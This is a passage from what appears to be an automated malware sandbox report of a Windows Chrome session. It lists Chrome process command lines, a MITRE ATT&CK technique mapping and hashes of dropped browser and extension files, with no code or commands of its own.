        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5700,i,485396744967689798,2416637656667006559,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:1
        5⤵
        
        PID:1856
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5652,i,16642510622542125119,15947505366333798819,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5752 /prefetch:1
        5⤵
        
        PID:5984
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5596,i,5567969789693171605,1915791326156290076,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:1
        5⤵
        
        PID:5496
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5988,i,14075629905453066928,6410317545017151086,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:1
        5⤵
        
        PID:2292
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6084,i,12881795329783910561,2793243578658640127,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
        5⤵
        
        PID:484
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6312,i,15574896505634237191,10214281875246190278,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:9
        5⤵
        
        PID:5280
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6460,i,14550382893748259219,16346914214284802106,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:1
        5⤵
        
        PID:5056
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5924,i,5248366049636065825,15258085314932442954,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:1
        5⤵
        
        PID:1272
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6848,i,4219502735643698833,6163904466612505107,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:1
        5⤵
        
        PID:2768
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5700,i,5521949649345197910,528590507590113288,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:1
        5⤵
        
        PID:2436
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6964,i,14545624969770118567,10445907078342300073,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:1
        5⤵
        
        PID:1968
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6912,i,15042755392512005018,5432038370634883137,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:1
        5⤵
        
        PID:5932
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=5992,i,8597230314086250074,11573187426750184497,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5924 /prefetch:1
        5⤵
        
        PID:696
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6540,i,4890284350682710952,9661407584612192813,524288 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:14
        5⤵
        
        PID:4876
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5700,i,18435429335526543853,9325994992000662443,524288 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=6544 /prefetch:14
        5⤵
        
        PID:4560
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=6540,i,10297137314657262653,9097685689114063332,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:1
        5⤵
        
        PID:5992
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=5060,i,17488436819454047247,5382834956513081436,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:1
        5⤵
        
        PID:3800
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5792,i,3497101516360854345,7261827048039646159,524288 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5008 /prefetch:14
        5⤵
        
        PID:5816
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5476,i,12570461790215649571,12736264966129628870,524288 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=6544 /prefetch:14
        5⤵
        
        PID:4948
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6544,i,3855754452909619667,7979397953711863180,524288 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=6896 /prefetch:14
        5⤵
        
        PID:5468
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --metrics-shmem-handle=6996,i,6652673054542536739,8463008681591066875,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=7016 /prefetch:1
        5⤵
        
        PID:880
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --metrics-shmem-handle=3400,i,6199388034055717384,3792487523566984928,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=7036 /prefetch:9
        5⤵
        
        PID:2844

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2464

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 715178ea159b0d26f2f75485d38ccfa3d98a1e27b6ccba24e56d4800f753b8a9
MD5 fb19e509dc029ddfeafdd915ccc76976
SHA1 3c59a5e4a78fbb2d9e2569a4c61a2be4ef6c640d
SHA512 d348207beae17cf8cefd8021bc29a8967b132387a75263c5aee861ff9eb94276d32114e29dbbd96666f2d12e740dfeac040ebeb2960894993bdc5774da8901ab
MD5 SHA1 SHA512

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 96B
SHA256 f84f6b3b19027eab89c6eda64b5ac0a4bc5eaa75cedceb9bb69690d3e84960b6
MD5 f3c4507300aa36a16e011f8e2d76aea6
SHA1 c0145758b5369b8785e77e291ac5f50fc362441e
SHA512 f761601378762585bac2a8f59cb49f2ea7fb2fd8d0ae8398a5097dfd367f31e693f1613c48dcbb9c7f228d5c129eb4f13a052408d65fea367aac3af7599746c4
TLSH
T1CAB0113022A00C08EAC00A382882CAC022230F080A02A302A2C020ACF0022F88202282
MD5 SHA1 SHA512 TLSH

Submit Download

background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gghagmhimhgfeajfdmjkgmmehbokmglg\2.0_0\background.js
Size 107KB
SHA256 de24c91a3b8d1dd0449385227ba1c07586ec39d8026a2699371aa7822b041427
MD5 1288db9a1af9fbc82676a8d0bb3fa141
SHA1 4b9e62f78a16f28e84ef257a35d88a0ef6a6660d
SHA512 afe8053fd0e52b5696a66edb4072caa2f54af022722628781fe6899dd952f50bcabb1d62c2af2b1982a33e182a9b070c9f73da59968563a9132bfbf4c62b3eff
SSDEEP 1536:BFAwCs48H4KBXmy7meULYQOfQARC8NizQ37WF/U5Ev15cQ:B2BzKBXmy7meULYQOYQ37WF/WEvrcQ
TLSH
T13FB34E416BC464801E478FBB7616B6E1FA1F09FD75440E4AA1047D18FAB9922FEF0A73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gghagmhimhgfeajfdmjkgmmehbokmglg\2.0_0\content.js
Size 8KB
SHA256 d7e63f7a6350a5d4bad4a44d8ce4e8a948871cf914e72905192bb3ad062eb7f2
MD5 27c44d2b4b864d4ffc18ea735ec53747
SHA1 b77ae86e5b963de0840bc17e78b50ebc0da410a0
SHA512 6602dc78f90a5e3584d7fa0b731df87e6cebb44d886c372afdfcef269285c1a3b144acde0a6107d1e6d98971c17f4c78a8b6114b9ea6f34a81f1f6dfc2d50bdf
SSDEEP 192:0/4ZSFYcEr7kTMp+DF9LBLahqXFXd+CGT+ETJ1C1tSw+CmrKRgT:0AgOMb9LxD9MCGTTTJ1C1tB+7
TLSH
T1D802C79A77C0A892265BD3B73F13B4F5E1282FDA3686089BF704BE44F959524DAC1D30
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gghagmhimhgfeajfdmjkgmmehbokmglg\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 523B
SHA256 c442a1986701ffdbce9565600a51ee7b8849596de59f4c70bd51c009072efaf8
MD5 fe944d20e6eb53c2a0d5a2ea938e6f1c
SHA1 943cd52980828f8033f8cd99d87028718f2603d9
SHA512 c4d66a32ed083ce047a470ff138bff4a824d9307c22ec749b3a77a4862f76d70bee10b7d8e4bcfcf4c3f7307ffb53c9a0da944b787257ccb81fd47a4a3cd06c3
TLSH
T136F0509BD77AB46710F9946B0D047C09B5756830164178F5CF56C36CE0454F31B06053
MD5 SHA1 SHA512 TLSH

Submit Download

aefe8797-4290-4691-88b5-d0835770b213.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\aefe8797-4290-4691-88b5-d0835770b213.tmp
Size 2KB
SHA256 2b9a777e7a716a327e7d394befd38da686a8835fcc04f1395048572b718f95e0
MD5 6556b831f826ef79a657e2a1f9152ce9
SHA1 a0d59e467ca80946dd52d4c07a4922a96735069b
SHA512 14beb07d919f08b7d632b24f0962a48b846384357d7167a9f2b519d8192bef9a22b143db9307436cfcdea3e7cbc3e4cfaf3c864cae80c8f6397d9c84c501c97c
TLSH
T182519BBBC3D8866D841152E4EB216E2FDD2E0A14531D3C56C9D4AF4B53F2972D21129E
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 53c82d2abccdf0b8ee263e9d1af920f7644ab4e12d98a0af86b22cc4bf3e6b5c
MD5 2bf7d83b8155390e2714028e3f79ad15
SHA1 52e473c6aef950e5210f87ec449c6f427f3ab217
SHA512 eb14c279c92c580758228f05c49e1606f836cdbdce356d7a63fcd761b5e62033343998d4e3dfd445ef8c3f6eaf7907835d1614f0d05d0e58a6402fc26f415e84
SSDEEP 192:NRG8i69dsv7jInAPRp2L619PHsb+WNJYdum+02Cxe4nPyIsnAUge:NRG8ied4giXDBwds2Aje
TLSH
T1D842B61FA920657B5CCBD21AFE667793E6F9102171E42E44EAFCCA2C10D7ACD6213407
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 e98194e35223c5b411d43804a2db8d4b93ef6373b4e0f5841914cffb8baa1dcb
MD5 36563ee7a811ef662a09492b3b41ba3d
SHA1 91856a3f3c9568238ead062e4047bb38cceb6a71
SHA512 fffe3b6aeb1c8807dac2a91fc2e780c9a62011386f8825bf679906d9848df23e07fdcdce0d4a792dbf50a80846cffced1188f47ddaa842539509eb787d9ac28d
SSDEEP 192:NRG8i69dWv7jInAPRp2LA9PHsb+WNJYdum+029xe4iVyIsnAUge:NRG8iedigiX5Bwds2lie
TLSH
T18632B71FA920657B5CCBD21AFE667793E6F5102171E42E84EAFC8A2C10D7ACD6213407
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 14KB
SHA256 bf2637f29428cb306e48a9b5171e0907f905756ca5d7827d5ff1131b6bc7a8bf
MD5 bcba05676a69ac6a72a20f88d030282b
SHA1 6bf066ea7826416218601727c551f0d4142ddf1b
SHA512 e1b6a3f91df31cac6c48ec22d75baf80b77a7532ae6d200ee0b960c69a116d83d1dd7595e1823fa8369bd66c2b7fba088180695d40c393dc522a925f239fc68b
SSDEEP 384:xzjj+7KxkXqKf/pUZNCgVLH2HfgslaItIGCj2MAVuUXODj6+ErU3zV1KfkMJ3UzK:x/j+7KxkXqKf/pUZNCgVLH2HfgsIOHCC
TLSH
T1A362FA27598D9E3F0FD8D659DC136F4B6CF50156B2680C3896FF990803A5BCA114B2EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 5adcd25262c29a936ffb080bfe674ac6c617812553ce1f09fbf0f3ed3409ff58
MD5 161696b6d770181d1ce841b115807f5e
SHA1 7a93b5f10db8a19704948376e2b960061cd91d61
SHA512 2b41c5646e6dd06316c57cc9d80873ed3abfbcd3e018f61c05aa73802fa958c971b5725c0bd9d656d5f807a466a5ce8d3530e9ef34f0072fbaa6366d5c3521cd
TLSH
T181B01207C05A2510CD804170151910C922109E2D94001B0693D0798AAC570E1C260300
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
Size 72B
SHA256 8b2f50676b6fefb3a9f24a9ee7a100ce79dde4ee97a51fba1a29fd79d3c7e244
MD5 a2d3bd06e6e4bef4571e2dc8f4a8e64c
SHA1 e6f7c5504e3ded7014dba38876b93f60d758d9d5
SHA512 2904e31fd01edcb9fc52db53280967b0e36f7fd1478b444b4d094813c2eccbd7a92d13165d5b5463bf16accdd1df86c05b424ce8fdaee3d553ccbbb8f2df7696
TLSH
T135A0029152E02534CD914D70607115D113C38C596E54430744A179948EBB4C4C51A101
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe597b41.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe597b41.TMP
Size 48B
SHA256 fd5844a78e3cf2b9d679b624be4b6a9e29e51fdb26143bd5139ea89da8b434f7
MD5 8fe3deacc8ec7379b8b821dbf53b97e6
SHA1 62e33ba382c6836cb311e3883cc4531349edad71
SHA512 0f78c76d9f0a546c53c497c90df15a7a89c2dff4c74d5b082caba755355c4a15e2f9e72d8af41e994067543748b14555c14680c4fa490574145c13756e141456
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnGraphiteCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnGraphiteCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnGraphiteCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 124KB
SHA256 b9f1cfc1c0856eff445391febd7c4534d3c53a7ba52ebba90f6e9a4bd7f53056
MD5 9b770c28c25bee5afd3c38f534f8b3e8
SHA1 58f048199fc9b9b01525db1bb5901396c4613c9d
SHA512 583a1795708751653c38c8f32fa78a92acb708ce1e938aee24a3cf8fc4053ea20a7f330a95bce767bef0a0fad98ccb58baf65a4531465064f9bd0c366dd42700
SSDEEP 3072:+d0NY64mt04wOHtc0wSkEyz+97WpNki/zWSbRdrsYM5z6CE7x1:+82VNgkE4+9iNR/zJbvBM5z6C4
TLSH
T199C302A3BE753CEB17B5C641B10F935BDB1CCF8D6A115C6570AE6D046081292A343E36
